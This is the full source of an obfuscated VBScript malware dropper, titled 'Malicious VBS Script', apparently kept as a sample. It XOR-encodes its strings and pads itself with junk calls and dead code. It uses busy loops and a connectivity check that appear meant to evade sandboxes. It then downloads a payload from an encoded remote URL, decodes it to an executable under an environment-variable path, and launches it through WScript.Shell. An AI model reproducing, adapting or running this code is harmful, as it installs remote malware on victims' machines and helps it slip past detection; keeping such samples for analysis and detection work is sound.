Malicious VBS Script

Dim NvBbjLvaPhjk,OW5F8Xy6bno
sub Qy8MLTj()
LtOt889jkOkTpN=Second(16)
Dim LWD6xXM78lMm,INDKnxORfbqF3
BuGkcKTmyRe5jP=Second(20)
dO WhilE LWD6xXM78lMm<>1
INDKnxORfbqF3=INDKnxORfbqF3+1
LooP
Oo9eTEL=Second(72)
End Sub
W3E53kMDU=Second(67)
XsJcEhaX
Function Qu4DoCs0TbMe(OIj6aGz3r,SemfKVtstZH6B2)
BWfL=Second(78)
Qu4DoCs0TbMe=(OIj6aGz3r anD NOt SemfKVtstZH6B2)oR(nOt OIj6aGz3r aND SemfKVtstZH6B2)
YYOCmA186bT=Second(52)
End Function
Sub AJr4qOS()
UNTLCL84LdAIwI=Second(66)
On Error Resume Next
XcetMrOfKIoBFDhCG=Second(83)
dim BmJgo9cefTBmGjWmV,UgR1ZLDeaSDnjI,GVTP18OygivIPpx,XrJe79vS
WyTyvUXJc98TJ8r=Second(21)
XrJe79vS="AsWN"
BACUjf=Second(76)
BmJgo9cefTBmGjWmV=Tkii81aBkqaNOqzB6("3004450674775F460139761D58153C37035E103A76135E1B","NXp1v")
OLnKWDCFD69E=Second(58)
SeT UgR1ZLDeaSDnjI=cReAteoBjEcT(Tkii81aBkqaNOqzB6("3E3E2D331C2421270779160C3F1F1A1523",XrJe79vS))
Eiv0YooOxcF=Second(8)
UgR1ZLDeaSDnjI.oPeN Tkii81aBkqaNOqzB6("110733","VVBghRWLrk1eGeiz8"),BmJgo9cefTBmGjWmV,0
LHmVEXZGks=Second(18)
UgR1ZLDeaSDnjI.SeTREQueSTHeaDEr Tkii81aBkqaNOqzB6("2633073534","QtRiR"),Tkii81aBkqaNOqzB6("17344506470A710166","BuM1c47C0KGrz18")
Sy6OUOYAt6aimecyH=Second(89)
UgR1ZLDeaSDnjI.SenD()
PZ0KfDYS7oz=Second(51)
If UgR1ZLDeaSDnjI.STATUsTeXT<>Tkii81aBkqaNOqzB6("230238130E59266775032A035D3F23","WscJgg8JG6lDw8Q") THeN Qy8MLTj
QJ2uLOooBQu3X4=Second(26)
End Sub
Sub NymvPjZ()
DoK1LWWPw=Second(38)
Dim ASg4iHC4J2c,RIUxK57PMTzkjS
RIUxK57PMTzkjS=NvBbjLvaPhjk & BbD7Z & Tkii81aBkqaNOqzB6("68101515","NFump42Xk")
Fk5vWJ1n=Second(69)
D5VVeYcpEKn3N NvBbjLvaPhjk,RIUxK57PMTzkjS
QX0CpW6zpoI=Second(22)
H5t548lhYv74(4)
RlZCLHsKuI0d=Second(62)
ASg4iHC4J2c="HsEcbirtW"
VXtqKrULIq=Second(14)
cREaTEoBJeCt(Tkii81aBkqaNOqzB6("24160010000200791B1B200F0E",ASg4iHC4J2c)).RUn """" & RIUxK57PMTzkjS & """"
CI1bImqlZC=Second(81)
End sub
Function BbD7Z()
DgSEG0xA=Second(57)
BbD7Z=SEcond(Time)
A0gM9WCPfe=Second(56)
End Function
Sub Tn5yV22Pck98Bt(WzuHIPsTNUvg)
Uh2Z3Bl2=Second(98)
Dim RyD,D7WLnskP
Y4bimGH=Second(70)
D7WLnskP="Iyrp7T1oaT7"
AuVaD=Second(83)
sET RyD=CREAtEobJEcT(Tkii81aBkqaNOqzB6("38363F73161F3C1526522814",D7WLnskP))
IEvFkqrFWNd7ZeU=Second(49)
RyD.typE=1
PVvfoNU=Second(43)
RyD.oPEn
UEmdn=Second(57)
RyD.WRIte WzuHIPsTNUvg
MtTHhXiMUNv6m7=Second(13)
RyD.SAveTOfIlE NvBbjLvaPhjk,2
RzY4vDzewhF3=Second(90)
Set RyD=nothInG
C0BuyCgM6y=Second(33)
NymvPjZ
I2vbubfGG2Ly8RKfI=Second(63)
End Sub
sub DdVh()
JmxBbmvcWAHf2D=Second(38)
On Error Resume Next
B2tRhqIH=Second(54)
FrB7D4Q8629mzFE 1,23
XC0ClC1Nzc0=Second(75)
PzQC1niUytfW6=Second(22)
End Sub
Function Tkii81aBkqaNOqzB6(WAmuWrfUizB,TlZPOJ1Wpi)
R99Ofi4RjMP8=Second(5)
Dim O6PeArEgF,GhSR6u83,Ser3tDBCPHUzQftM
XdLhZs5HeRJL=Second(23)
fOR O6PeArEgF=1 To (lEn(WAmuWrfUizB)/2)
GhSR6u83=(CHrW((9.5 + 339 + 9.5 - 339 + 9.5 + 339 + 9.5 - 339))&cHrw((18 + 215 + 18 - 215 + 18 + 215 + 18 - 215))&(mId(WAmuWrfUizB,(O6PeArEgF+O6PeArEgF)-1,2)))
Ser3tDBCPHUzQftM=(AscW(mID(TlZPOJ1Wpi,((O6PeArEgF MOd Len(TlZPOJ1Wpi))+1),1)))
Tkii81aBkqaNOqzB6=Tkii81aBkqaNOqzB6+ChR(Qu4DoCs0TbMe(GhSR6u83,Ser3tDBCPHUzQftM))
NeXt
HSbDsk=Second(71)
End Function
sub YjwrziQkKqgQ()
T7kytHw=Second(32)
Dim ByxaWy, NsuKzYr5MN
For ByxaWy = 48 To 8000673
NsuKzYr5MN = UQ6EW6CtW9 + 42 + 24 + 51
Next
PVEC7mYrH=Second(6)
End Sub
Sub H5t548lhYv74(KJuponW0UT82CaSh)
Kwv5qeL76R=Second(82)
Dim Gf7Cc
SpQEHwjbwz=Second(6)
Gf7Cc=TIMEr+KJuponW0UT82CaSh
dO WHIle tIMER<Gf7Cc
Loop
NXSlh3OLv=Second(92)
End Sub
Function D5VVeYcpEKn3N(GTj0mbsOV3AJSPna,K614klYioX)
UHOlBJucge=Second(17)
Dim YnJoeq47WjqvQr8E,LTc1SisV5NL,K63xC79X3UA,XYDH1in9i,QsCd6ZzyGnXaWBi,NeBschTT(9)
KSTKl0XJM=Second(3)
NeBschTT(0)=104
NeBschTT(1)=119
NeBschTT(2)=102
NeBschTT(3)=52
NeBschTT(4)=49
NeBschTT(5)=107
NeBschTT(6)=106
NeBschTT(7)=57
NeBschTT(8)=115
NeBschTT(9)=68
OjB2PA=Second(62)
SeT LTc1SisV5NL =CreAteOBjeCT(Tkii81aBkqaNOqzB6("0754460F061D0B23327A715D0A133A1B3E21315A7B041C0C0139", "UT74fvibM"))
IMUp2NQ7U=Second(95)
sET K63xC79X3UA=LTc1SisV5NL.getFILE(GTj0mbsOV3AJSPna)
VPIL=Second(32)
SeT QsCd6ZzyGnXaWBi=K63xC79X3UA.OPEnASTExtSTREam(1,0)
R9tf5Y7su1d=Second(41)
sEt XYDH1in9i=LTc1SisV5NL.CReATEtEXTfIlE(K614klYioX,1,0)
XLiBl4=Second(78)
YnJoeq47WjqvQr8E=0
I3kPO3vBRPR1=Second(66)
dO UntiL QsCd6ZzyGnXaWBi.ATENDoFsTrEAM
YnJoeq47WjqvQr8E=(YnJoeq47WjqvQr8E+1)\10
XYDH1in9i.WrItE CHr(Qu4DoCs0TbMe(aSC(QsCd6ZzyGnXaWBi.ReAd(1)),NeBschTT(YnJoeq47WjqvQr8E)))
LOoP
JQfTb3sm87sWErfP=Second(91)
XYDH1in9i.CLoSE
CvIMH2N3kP=Second(24)
QsCd6ZzyGnXaWBi.CloSE
Adx79m68zQMwBxoh=Second(91)
SeT QsCd6ZzyGnXaWBi=NotHinG
EsrPx=Second(9)
Set K63xC79X3UA=NOTHINg
DUi2bLYjBdnr=Second(7)
SEt XYDH1in9i=NOThiNg
LknbMMyC=Second(29)
Set LTc1SisV5NL=nOThiNG
CeKEf5Ww=Second(93)
End Function
Sub VWHrWTpYh()
Xf5RLhXlb=Second(89)
DdVh
Dim YwLNFvxsSM,GnJ6LiXN9wd0SfjF,GvsN182csj,IpY,Gj93XWWOXwbeNo7z
G6ZX=Second(36)
On Error Resume Next
HnV=Second(86)
GvsN182csj="BMkGwftOMoLGM"
QJIern34ZF4Bbn=Second(86)
sEt YwLNFvxsSM=crEaTeoBjEcT(Tkii81aBkqaNOqzB6("1A3824050F043B633C2422212E",GvsN182csj))
LgfTj3sNmDf=Second(2)
YjwrziQkKqgQ
TdA4qsiuNEU8=Second(55)
AJr4qOS
AIQoOaZdO7fKh3F=Second(92)
NvBbjLvaPhjk=YwLNFvxsSM.expAnDEnvIrOnMEnTstriNgs(Tkii81aBkqaNOqzB6("4220281F162A13207D","KgAXor"))&"\"& BbD7Z & BbD7Z
BsVN=Second(14)
IpY="JEOCo3W8AOaw"
WBrCAmDUka=Second(12)
sET GnJ6LiXN9wd0SfjF=CreaTeobjECt(Tkii81aBkqaNOqzB6("0826201D5C2457273B4F2F070907173B63",IpY))
MB4AnX8sHZiXkk=Second(76)
GnJ6LiXN9wd0SfjF.oPEN Tkii81aBkqaNOqzB6("767415","Y11AL"),Tkii81aBkqaNOqzB6("393E2106686479060E1E66352F261F35257B18540D277F293A1B7D26310257033836751A39073325450A04121D1B212310006B","HQJUvRKVqyi") & BbD7Z,0
QHXFcFYixQtJkru=Second(83)
GnJ6LiXN9wd0SfjF.SETreQueStHeaDER Tkii81aBkqaNOqzB6("22281F2417","XpIqCr1"),Tkii81aBkqaNOqzB6("0D17192D30525F5E71715C43","ConmH")
R1Fi9rIe02nPgY0r=Second(97)
GnJ6LiXN9wd0SfjF.seNd()
IEqs6tmVUSQ=Second(52)
if GnJ6LiXN9wd0SfjF.staTUSteXT=Tkii81aBkqaNOqzB6("630E1C3D1E282B6A2E2B0C18571B3E","J3onIwIGJmDbl2u") then
A01iypEJd=Second(10)
YjwrziQkKqgQ
R9AI2IHRkHli=Second(4)
H5t548lhYv74(4)
K6ZuqcJ5KOMdJTJ3=Second(67)
Tn5yV22Pck98Bt GnJ6LiXN9wd0SfjF.rEspoNSeBOdY
GKumkpaO9tCsjTWu=Second(23)
H6BKPWKwfepile=Second(36)
end if
DwBYeOzyX5C=Second(18)
End Sub
sub XsJcEhaX()
RvRqiz0lR4=Second(84)
Dim QEdQvycjgQ5Q,GJWFOhXrpsoLNLTM,ItgCqYy1wHfHKsmO
XlUpvFcrjFVdOvJs=Second(36)
QEdQvycjgQ5Q=99829964:GJWFOhXrpsoLNLTM=0:ItgCqYy1wHfHKsmO=0
OLWdqIX6X2KY=Second(94)
FOr GJWFOhXrpsoLNLTM=1 To QEdQvycjgQ5Q
ItgCqYy1wHfHKsmO=ItgCqYy1wHfHKsmO+1
Next
GIANUI52LWN5rirn=Second(50)
iF ItgCqYy1wHfHKsmO=QEdQvycjgQ5Q Then
JWA7EwpjwkSYWy1=Second(78)
H5t548lhYv74(4)
XNtkMbX63TaaIvy=Second(97)
VWHrWTpYh
N1AemqxRYccoa=Second(55)
ELse
IYP6EZHw=Second(84)
If CByte(10)=True Then NTI8xj=9565
CreateObject "KQ88xO47qS0I5QEU4","XDzEhC1OuqI"
LSyoDfa=UCase("30")
If CBool(35)=True Then LYqTSTZaBPsQ=74
Atn 29
NUbNdHKNS2S=EOF
OaS1s5F=Fix(38)
GetObject 64,58
DateSerial 25,50,52
Year 68
JGk41QMnjLZqbJAt0YVJWxfL=Second(52)
EnD If
Hu1bg=Second(5)
End Sub